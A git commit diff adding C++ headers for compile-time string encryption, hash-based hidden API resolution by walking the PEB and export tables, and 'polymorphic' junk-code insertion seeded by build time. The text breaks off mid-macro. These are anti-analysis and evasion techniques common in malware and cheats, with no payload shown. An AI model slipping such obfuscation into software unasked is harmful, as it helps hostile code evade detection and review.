initial commit
This commit is contained in:
i2p
Executable
+678
@@ -0,0 +1,678 @@
|
||||
|
||||
#include <utility>
|
||||
#include <type_traits>
|
||||
#include <ctime>
|
||||
#include <chrono>
|
||||
#include <random>
|
||||
#include <algorithm>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <Intrin.h>
|
||||
#include <vector>
|
||||
|
||||
#ifndef BUILD_SEED
|
||||
#define BUILD_SEED 0xBCD67EEu // <-- This value gets randomized on each build via a prebuild command
|
||||
#endif
|
||||
|
||||
|
||||
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
|
||||
#define EC(str) xorstr(str).crypt_get()
|
||||
|
||||
|
||||
#define TIME_BASED_XOR_KEY \
|
||||
( static_cast<std::uintptr_t>(BUILD_SEED) )
|
||||
|
||||
#define XORSTR_FORCEINLINE __forceinline
|
||||
|
||||
|
||||
|
||||
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
|
||||
|
||||
|
||||
#ifndef LAZY_IMPORTER_CPP_FORWARD
|
||||
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
|
||||
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
|
||||
#else
|
||||
#include <utility>
|
||||
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#include <intrin.h>
|
||||
|
||||
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
|
||||
#if defined(_MSC_VER)
|
||||
#define LAZY_IMPORTER_FORCEINLINE __forceinline
|
||||
#elif defined(__GNUC__) && __GNUC__ > 3
|
||||
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
|
||||
#else
|
||||
#define LAZY_IMPORTER_FORCEINLINE inline
|
||||
#endif
|
||||
#else
|
||||
#define LAZY_IMPORTER_FORCEINLINE inline
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
|
||||
#define LAZY_IMPORTER_CASE_SENSITIVITY false
|
||||
#else
|
||||
#define LAZY_IMPORTER_CASE_SENSITIVITY true
|
||||
#endif
|
||||
|
||||
#define LAZY_IMPORTER_STRINGIZE(x) #x
|
||||
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
|
||||
|
||||
// Enhanced Hash Function with multiple rounds and key mixing
|
||||
#define LAZY_IMPORTER_KHASH(str) \
|
||||
::li::detail::khash( \
|
||||
str, \
|
||||
::li::detail::khash_impl( \
|
||||
/* mostly-stable part so identical strings collide in the TU: */ \
|
||||
__FILE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) \
|
||||
/* build-level entropy: */ \
|
||||
LAZY_IMPORTER_STRINGIZE_EXPAND(BUILD_SEED), \
|
||||
/* mix constant keeps behaviour more complex */ \
|
||||
0XBC735A /* A magic constant from the golden ratio */ ) )
|
||||
|
||||
namespace jm {
|
||||
|
||||
namespace detail {
|
||||
|
||||
template<std::size_t Size>
|
||||
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
|
||||
{
|
||||
return ((Size / 16) + (Size % 16 != 0)) * 2;
|
||||
}
|
||||
|
||||
template<std::uint32_t Seed>
|
||||
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
|
||||
{
|
||||
std::uint32_t value = Seed ^ BUILD_SEED;
|
||||
|
||||
for (char c : __FUNCSIG__)
|
||||
value = static_cast<std::uint32_t>((value ^ c) * 31ull);
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
template<std::size_t S>
|
||||
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
|
||||
{
|
||||
constexpr auto first_part = key4<76 + S>();
|
||||
constexpr auto second_part = key4<first_part>();
|
||||
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
|
||||
}
|
||||
|
||||
// loads up to 8 characters of string into uint64 and xors it with the key
|
||||
template<std::size_t N, class CharT>
|
||||
XORSTR_FORCEINLINE constexpr std::uint64_t
|
||||
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
|
||||
{
|
||||
using cast_type = typename std::make_unsigned<CharT>::type;
|
||||
constexpr auto value_size = sizeof(CharT);
|
||||
constexpr auto idx_offset = 8 / value_size;
|
||||
|
||||
std::uint64_t value = key;
|
||||
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
|
||||
value ^=
|
||||
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
|
||||
<< ((i % idx_offset) * 8 * value_size));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
// forces compiler to use registers instead of stuffing constants in rdata
|
||||
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
|
||||
{
|
||||
#if defined(__clang__) || defined(__GNUC__)
|
||||
asm("" : "=r"(value) : "0"(value) : );
|
||||
return value;
|
||||
#else
|
||||
volatile std::uint64_t reg = value;
|
||||
return reg;
|
||||
#endif
|
||||
}
|
||||
|
||||
} // namespace detail
|
||||
|
||||
template<class CharT, std::size_t Size, class Keys, class Indices>
|
||||
class xor_string;
|
||||
|
||||
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
|
||||
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
|
||||
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
|
||||
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
|
||||
#else
|
||||
constexpr static inline std::uint64_t alignment = 16;
|
||||
#endif
|
||||
|
||||
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
|
||||
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
|
||||
|
||||
public:
|
||||
using value_type = CharT;
|
||||
using size_type = std::size_t;
|
||||
using pointer = CharT*;
|
||||
using const_pointer = const CharT*;
|
||||
|
||||
template<class L>
|
||||
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
|
||||
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
|
||||
{}
|
||||
|
||||
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
|
||||
{
|
||||
return Size - 1;
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE void crypt() noexcept
|
||||
{
|
||||
((_storage[Indices] ^= keys[Indices]), ...);
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE const_pointer get() const noexcept
|
||||
{
|
||||
return reinterpret_cast<const_pointer>(_storage);
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE pointer get() noexcept
|
||||
{
|
||||
return reinterpret_cast<pointer>(_storage);
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE pointer crypt_get() noexcept
|
||||
{
|
||||
crypt();
|
||||
return reinterpret_cast<pointer>(_storage);
|
||||
}
|
||||
};
|
||||
|
||||
template<class L, std::size_t Size, std::size_t... Indices>
|
||||
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
|
||||
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
|
||||
Size,
|
||||
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
|
||||
std::index_sequence<Indices...>>;
|
||||
|
||||
} // namespace jm
|
||||
|
||||
|
||||
|
||||
namespace li {
|
||||
namespace detail {
|
||||
|
||||
namespace win {
|
||||
|
||||
struct LIST_ENTRY_T {
|
||||
const char* Flink;
|
||||
const char* Blink;
|
||||
};
|
||||
|
||||
struct UNICODE_STRING_T {
|
||||
unsigned short Length;
|
||||
unsigned short MaximumLength;
|
||||
wchar_t* Buffer;
|
||||
};
|
||||
|
||||
struct PEB_LDR_DATA_T {
|
||||
unsigned long Length;
|
||||
unsigned long Initialized;
|
||||
const char* SsHandle;
|
||||
LIST_ENTRY_T InLoadOrderModuleList;
|
||||
};
|
||||
|
||||
struct PEB_T {
|
||||
unsigned char Reserved1[2];
|
||||
unsigned char BeingDebugged;
|
||||
unsigned char Reserved2[1];
|
||||
const char* Reserved3[2];
|
||||
PEB_LDR_DATA_T* Ldr;
|
||||
};
|
||||
|
||||
struct LDR_DATA_TABLE_ENTRY_T {
|
||||
LIST_ENTRY_T InLoadOrderLinks;
|
||||
LIST_ENTRY_T InMemoryOrderLinks;
|
||||
LIST_ENTRY_T InInitializationOrderLinks;
|
||||
const char* DllBase;
|
||||
const char* EntryPoint;
|
||||
union {
|
||||
unsigned long SizeOfImage;
|
||||
const char* _dummy;
|
||||
};
|
||||
UNICODE_STRING_T FullDllName;
|
||||
UNICODE_STRING_T BaseDllName;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
|
||||
load_order_next() const noexcept
|
||||
{
|
||||
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
|
||||
InLoadOrderLinks.Flink);
|
||||
}
|
||||
};
|
||||
|
||||
struct IMAGE_DOS_HEADER { // DOS .EXE header
|
||||
unsigned short e_magic; // Magic number
|
||||
unsigned short e_cblp; // Bytes on last page of file
|
||||
unsigned short e_cp; // Pages in file
|
||||
unsigned short e_crlc; // Relocations
|
||||
unsigned short e_cparhdr; // Size of header in paragraphs
|
||||
unsigned short e_minalloc; // Minimum extra paragraphs needed
|
||||
unsigned short e_maxalloc; // Maximum extra paragraphs needed
|
||||
unsigned short e_ss; // Initial (relative) SS value
|
||||
unsigned short e_sp; // Initial SP value
|
||||
unsigned short e_csum; // Checksum
|
||||
unsigned short e_ip; // Initial IP value
|
||||
unsigned short e_cs; // Initial (relative) CS value
|
||||
unsigned short e_lfarlc; // File address of relocation table
|
||||
unsigned short e_ovno; // Overlay number
|
||||
unsigned short e_res[4]; // Reserved words
|
||||
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
|
||||
unsigned short e_oeminfo; // OEM information; e_oemid specific
|
||||
unsigned short e_res2[10]; // Reserved words
|
||||
long e_lfanew; // File address of new exe header
|
||||
};
|
||||
|
||||
struct IMAGE_FILE_HEADER {
|
||||
unsigned short Machine;
|
||||
unsigned short NumberOfSections;
|
||||
unsigned long TimeDateStamp;
|
||||
unsigned long PointerToSymbolTable;
|
||||
unsigned long NumberOfSymbols;
|
||||
unsigned short SizeOfOptionalHeader;
|
||||
unsigned short Characteristics;
|
||||
};
|
||||
|
||||
struct IMAGE_EXPORT_DIRECTORY {
|
||||
unsigned long Characteristics;
|
||||
unsigned long TimeDateStamp;
|
||||
unsigned short MajorVersion;
|
||||
unsigned short MinorVersion;
|
||||
unsigned long Name;
|
||||
unsigned long Base;
|
||||
unsigned long NumberOfFunctions;
|
||||
unsigned long NumberOfNames;
|
||||
unsigned long AddressOfFunctions; // RVA from base of image
|
||||
unsigned long AddressOfNames; // RVA from base of image
|
||||
unsigned long AddressOfNameOrdinals; // RVA from base of image
|
||||
};
|
||||
|
||||
struct IMAGE_DATA_DIRECTORY {
|
||||
unsigned long VirtualAddress;
|
||||
unsigned long Size;
|
||||
};
|
||||
|
||||
struct IMAGE_OPTIONAL_HEADER64 {
|
||||
unsigned short Magic;
|
||||
unsigned char MajorLinkerVersion;
|
||||
unsigned char MinorLinkerVersion;
|
||||
unsigned long SizeOfCode;
|
||||
unsigned long SizeOfInitializedData;
|
||||
unsigned long SizeOfUninitializedData;
|
||||
unsigned long AddressOfEntryPoint;
|
||||
unsigned long BaseOfCode;
|
||||
unsigned long long ImageBase;
|
||||
unsigned long SectionAlignment;
|
||||
unsigned long FileAlignment;
|
||||
unsigned short MajorOperatingSystemVersion;
|
||||
unsigned short MinorOperatingSystemVersion;
|
||||
unsigned short MajorImageVersion;
|
||||
unsigned short MinorImageVersion;
|
||||
unsigned short MajorSubsystemVersion;
|
||||
unsigned short MinorSubsystemVersion;
|
||||
unsigned long Win32VersionValue;
|
||||
unsigned long SizeOfImage;
|
||||
unsigned long SizeOfHeaders;
|
||||
unsigned long CheckSum;
|
||||
unsigned short Subsystem;
|
||||
unsigned short DllCharacteristics;
|
||||
unsigned long long SizeOfStackReserve;
|
||||
unsigned long long SizeOfStackCommit;
|
||||
unsigned long long SizeOfHeapReserve;
|
||||
unsigned long long SizeOfHeapCommit;
|
||||
unsigned long LoaderFlags;
|
||||
unsigned long NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[16];
|
||||
};
|
||||
|
||||
struct IMAGE_OPTIONAL_HEADER32 {
|
||||
unsigned short Magic;
|
||||
unsigned char MajorLinkerVersion;
|
||||
unsigned char MinorLinkerVersion;
|
||||
unsigned long SizeOfCode;
|
||||
unsigned long SizeOfInitializedData;
|
||||
unsigned long SizeOfUninitializedData;
|
||||
unsigned long AddressOfEntryPoint;
|
||||
unsigned long BaseOfCode;
|
||||
unsigned long BaseOfData;
|
||||
unsigned long ImageBase;
|
||||
unsigned long SectionAlignment;
|
||||
unsigned long FileAlignment;
|
||||
unsigned short MajorOperatingSystemVersion;
|
||||
unsigned short MinorOperatingSystemVersion;
|
||||
unsigned short MajorImageVersion;
|
||||
unsigned short MinorImageVersion;
|
||||
unsigned short MajorSubsystemVersion;
|
||||
unsigned short MinorSubsystemVersion;
|
||||
unsigned long Win32VersionValue;
|
||||
unsigned long SizeOfImage;
|
||||
unsigned long SizeOfHeaders;
|
||||
unsigned long CheckSum;
|
||||
unsigned short Subsystem;
|
||||
unsigned short DllCharacteristics;
|
||||
unsigned long SizeOfStackReserve;
|
||||
unsigned long SizeOfStackCommit;
|
||||
unsigned long SizeOfHeapReserve;
|
||||
unsigned long SizeOfHeapCommit;
|
||||
unsigned long LoaderFlags;
|
||||
unsigned long NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[16];
|
||||
};
|
||||
|
||||
struct IMAGE_NT_HEADERS {
|
||||
unsigned long Signature;
|
||||
IMAGE_FILE_HEADER FileHeader;
|
||||
#ifdef _WIN64
|
||||
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
|
||||
#else
|
||||
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
|
||||
#endif
|
||||
};
|
||||
|
||||
} // namespace win
|
||||
|
||||
struct forwarded_hashes {
|
||||
unsigned module_hash;
|
||||
unsigned function_hash;
|
||||
};
|
||||
|
||||
// 64 bit integer where 32 bits are used for the hash offset
|
||||
// and remaining 32 bits are used for the hash computed using it
|
||||
using offset_hash_pair = unsigned long long;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return static_cast<unsigned>(pair >> 32); }
|
||||
|
||||
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
|
||||
{
|
||||
return (value ^ static_cast<unsigned>((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * 323;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
|
||||
khash_impl(const char* str, unsigned value) noexcept
|
||||
{
|
||||
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
|
||||
const char* str, unsigned offset) noexcept
|
||||
{
|
||||
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
|
||||
}
|
||||
|
||||
template<class CharT = char>
|
||||
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
|
||||
{
|
||||
unsigned value = offset;
|
||||
|
||||
for (;;) {
|
||||
char c = *str++;
|
||||
if (!c)
|
||||
return value;
|
||||
value = hash_single(value, c);
|
||||
}
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE unsigned hash(
|
||||
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
|
||||
{
|
||||
auto first = str.Buffer;
|
||||
const auto last = first + (str.Length / sizeof(wchar_t));
|
||||
auto value = offset;
|
||||
for (; first != last; ++first)
|
||||
value = hash_single(value, static_cast<char>(*first));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
// some helper functions
|
||||
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
|
||||
{
|
||||
|
||||
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
|
||||
{
|
||||
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
|
||||
const char* base) noexcept
|
||||
{
|
||||
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
|
||||
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
|
||||
const char* base) noexcept
|
||||
{
|
||||
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
|
||||
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
|
||||
{
|
||||
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
|
||||
ldr()->InLoadOrderModuleList.Flink);
|
||||
}
|
||||
|
||||
struct exports_directory {
|
||||
unsigned long _ied_size;
|
||||
const char* _base;
|
||||
const win::IMAGE_EXPORT_DIRECTORY* _ied;
|
||||
|
||||
public:
|
||||
using size_type = unsigned long;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE
|
||||
exports_directory(const char* base) noexcept : _base(base)
|
||||
{
|
||||
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
|
||||
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
|
||||
base + ied_data_dir.VirtualAddress);
|
||||
_ied_size = ied_data_dir.Size;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
|
||||
{
|
||||
return reinterpret_cast<const char*>(_ied) != _base;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
|
||||
{
|
||||
return _ied->NumberOfNames;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
|
||||
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
|
||||
{
|
||||
return _ied;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
|
||||
{
|
||||
return _base + reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfNames)[index];
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
|
||||
{
|
||||
const auto* const rva_table =
|
||||
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
|
||||
|
||||
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
|
||||
_base + _ied->AddressOfNameOrdinals);
|
||||
|
||||
return _base + rva_table[ord_table[index]];
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
|
||||
const char* export_address) const noexcept
|
||||
{
|
||||
const auto ui_ied = reinterpret_cast<const char*>(_ied);
|
||||
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
|
||||
}
|
||||
};
|
||||
|
||||
struct safe_module_enumerator {
|
||||
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
|
||||
value_type* value;
|
||||
value_type* head;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
|
||||
: safe_module_enumerator(ldr_data_entry())
|
||||
{}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE
|
||||
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
|
||||
: value(ldr->load_order_next()), head(value)
|
||||
{}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
|
||||
{
|
||||
value = value->load_order_next();
|
||||
|
||||
return value != head && value->DllBase;
|
||||
}
|
||||
};
|
||||
|
||||
struct unsafe_module_enumerator {
|
||||
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
|
||||
value_type value;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
|
||||
: value(ldr_data_entry())
|
||||
{}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
|
||||
{
|
||||
value = value->load_order_next();
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
// provides the cached functions which use Derive classes methods
|
||||
template<class Derived, class DefaultType = void*>
|
||||
class lazy_base {
|
||||
protected:
|
||||
// This function is needed because every templated function
|
||||
// with different args has its own static buffer
|
||||
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
|
||||
{
|
||||
static void* value = nullptr;
|
||||
return value;
|
||||
}
|
||||
|
||||
public:
|
||||
template<class T = DefaultType>
|
||||
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
|
||||
{
|
||||
return Derived::template get<T, safe_module_enumerator>();
|
||||
}
|
||||
|
||||
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
|
||||
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
|
||||
{
|
||||
auto& cached = _cache();
|
||||
if (!cached)
|
||||
cached = Derived::template get<void*, Enum>();
|
||||
|
||||
return (T)(cached);
|
||||
}
|
||||
|
||||
template<class T = DefaultType>
|
||||
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
|
||||
{
|
||||
return cached<T, safe_module_enumerator>();
|
||||
}
|
||||
};
|
||||
|
||||
template<offset_hash_pair OHP>
|
||||
struct lazy_module : lazy_base<lazy_module<OHP>> {
|
||||
template<class T = void*, class Enum = unsafe_module_enumerator>
|
||||
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
|
||||
{
|
||||
Enum e;
|
||||
do {
|
||||
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
|
||||
return (T)(e.value->DllBase);
|
||||
} while (e.next());
|
||||
return {};
|
||||
}
|
||||
|
||||
template<class T = void*, class Ldr>
|
||||
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
|
||||
{
|
||||
safe_module_enumerator e(reinterpret_cast<const detail::win::LDR_DATA_TABLE_ENTRY_T*>(ldr));
|
||||
do {
|
||||
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
|
||||
return (T)(e.value->DllBase);
|
||||
} while (e.next());
|
||||
return {};
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
template<offset_hash_pair OHP, class T>
|
||||
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
|
||||
using base_type = lazy_base<lazy_function<OHP, T>, T>;
|
||||
|
||||
template<class... Args>
|
||||
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
|
||||
{
|
||||
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
|
||||
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
|
||||
#else
|
||||
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
|
||||
#endif
|
||||
}
|
||||
|
||||
template<class F = T, class Enum = unsafe_module_enumerator>
|
||||
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
|
||||
{
|
||||
// for backwards compatability.
|
||||
// Before 2.0 it was only possible to resolve forwarded exports when
|
||||
// this macro was enabled
|
||||
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
|
||||
return forwarded<F, Enum>();
|
||||
#else
|
||||
|
||||
Enum e;
|
||||
|
||||
do {
|
||||
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
|
||||
if (!e.value->DllBase || !e.value->FullDllName.Length)
|
||||
continue;
|
||||
#endif
|
||||
|
||||
const exports_directory exports(e.value->DllBase);
|
||||
|
||||
if (exports) {
|
||||
auto export_index = exports.size();
|
||||
while (export_index--)
|
||||
if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
|
||||
return (F)(exports.address(export_index));
|
||||
}
|
||||
} while (e.next());
|
||||
return {};
|
||||
#endif
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
}
|
||||
}
|
||||
Executable
+135
@@ -0,0 +1,135 @@
|
||||
|
||||
#include <cmath>
|
||||
#include <limits>
|
||||
|
||||
|
||||
|
||||
struct poly {
|
||||
private:
|
||||
// common types
|
||||
typedef unsigned long long ull;
|
||||
typedef unsigned int ui;
|
||||
|
||||
// arithmetic simplification functions
|
||||
static constexpr ull sq(ull x) { return x * x; }
|
||||
static constexpr ull sm(ull x) { return sq(x) + x; }
|
||||
static constexpr ull sh(ull x) { return (x >> 32) | (x << 32); }
|
||||
|
||||
public:
|
||||
// normal prng's are hard to use here, since we can't easily modify our state
|
||||
// we need to use a counter-based rng, to use __COUNTER__ as our state instead
|
||||
// https://en.wikipedia.org/wiki/Counter-based_random_number_generator_(CBRNG)
|
||||
// we use Widynski's Squares method to achieve this: https://arxiv.org/abs/2004.06278
|
||||
static constexpr ui Widynski_Squares(ull count, ull seed) {
|
||||
unsigned long long cs = (count + 1) * seed;
|
||||
return (sq(sh(sq(sh(sm(cs))) + cs + seed)) + cs) >> 32;
|
||||
}
|
||||
|
||||
// we use Box-Muller as our method to obtain a normal distribution
|
||||
// we add the lowest positive double value to prevent log(0) from being run
|
||||
inline double BoxMuller(double a, double b, double sigma, double mu) {
|
||||
constexpr double M_PI = 3.14159265358979323846;
|
||||
constexpr double e = 2.2250738585072014e-308; // smallest positive double
|
||||
|
||||
return sqrt(-2.0 * log(a + e)) * cos(2.0 * M_PI * b) * sigma + mu;
|
||||
}
|
||||
|
||||
// we define our seed based off of the __DATE__ and __TIME__ macros
|
||||
// this allows us to have different compile-time seed values
|
||||
static constexpr ull Day =
|
||||
(__DATE__[5] - '0') +
|
||||
(__DATE__[4] == ' ' ? 0 : __DATE__[4] - '0') * 10;
|
||||
|
||||
static constexpr ull Month =
|
||||
(__DATE__[1] == 'a' && __DATE__[2] == 'n') * 1 +
|
||||
(__DATE__[2] == 'b') * 2 +
|
||||
(__DATE__[1] == 'a' && __DATE__[2] == 'r') * 3 +
|
||||
(__DATE__[1] == 'p' && __DATE__[2] == 'r') * 4 +
|
||||
(__DATE__[2] == 'y') * 5 +
|
||||
(__DATE__[1] == 'u' && __DATE__[2] == 'n') * 6 +
|
||||
(__DATE__[2] == 'l') * 7 +
|
||||
(__DATE__[2] == 'g') * 8 +
|
||||
(__DATE__[2] == 'p') * 9 +
|
||||
(__DATE__[2] == 't') * 10 +
|
||||
(__DATE__[2] == 'v') * 11 +
|
||||
(__DATE__[2] == 'c') * 12;
|
||||
|
||||
static constexpr ull Year =
|
||||
(__DATE__[9] - '0') +
|
||||
(__DATE__[10] - '0') * 10;
|
||||
|
||||
static constexpr ull Time =
|
||||
(__TIME__[0] - '0') * 1 +
|
||||
(__TIME__[1] - '0') * 10 +
|
||||
(__TIME__[3] - '0') * 100 +
|
||||
(__TIME__[4] - '0') * 1000 +
|
||||
(__TIME__[6] - '0') * 10000 +
|
||||
(__TIME__[7] - '0') * 100000;
|
||||
|
||||
#ifndef __POLY_RANDOM_SEED__
|
||||
static constexpr ull Seed =
|
||||
Time +
|
||||
100000ll * Day +
|
||||
10000000ll * Month +
|
||||
1000000000ll * Year;
|
||||
#else
|
||||
static constexpr ull Seed = __POLY_RANDOM_SEED__;
|
||||
#endif
|
||||
};
|
||||
|
||||
// =====================
|
||||
// POLYMORPHIC FUNCTIONS
|
||||
// =====================
|
||||
|
||||
// various random types
|
||||
#define poly_uint() (poly::Widynski_Squares(__COUNTER__, poly::Seed))
|
||||
#define poly_int() ((int)poly_uint())
|
||||
#define poly_ull() (((unsigned long long)poly_int() << 32) ^ poly_int())
|
||||
#define poly_ll() ((long long)poly_ull())
|
||||
#define poly_float() (static_cast<float>(poly_uint()) / static_cast<float>(UINT_MAX))
|
||||
#define poly_double() (static_cast<double>(poly_ull()) / static_cast<double>(ULLONG_MAX))
|
||||
|
||||
// random number modulo max
|
||||
#define poly_random(max) (poly_uint() % max)
|
||||
|
||||
// random no-ops, inserts junk code
|
||||
#define poly_junk() { \
|
||||
int chance = poly_random(21); \
|
||||
if (chance == 0) { volatile int value = poly_random(10000); } \
|
||||
if (chance == 1) { volatile float value = poly_random(1000); } \
|
||||
if (chance == 2) { volatile double value = poly_random(1000); } \
|
||||
if (chance == 3) { volatile char value = poly_random(100000); } \
|
||||
if (chance == 4) { volatile int v[4] = {poly_random(1000), poly_random(1000), poly_random(1000), poly_random(1000)}; } \
|
||||
if (chance == 5) { volatile int v[2] = {poly_random(10000), poly_random(10000)}; volatile int vo = v[1] + v[2]; } \
|
||||
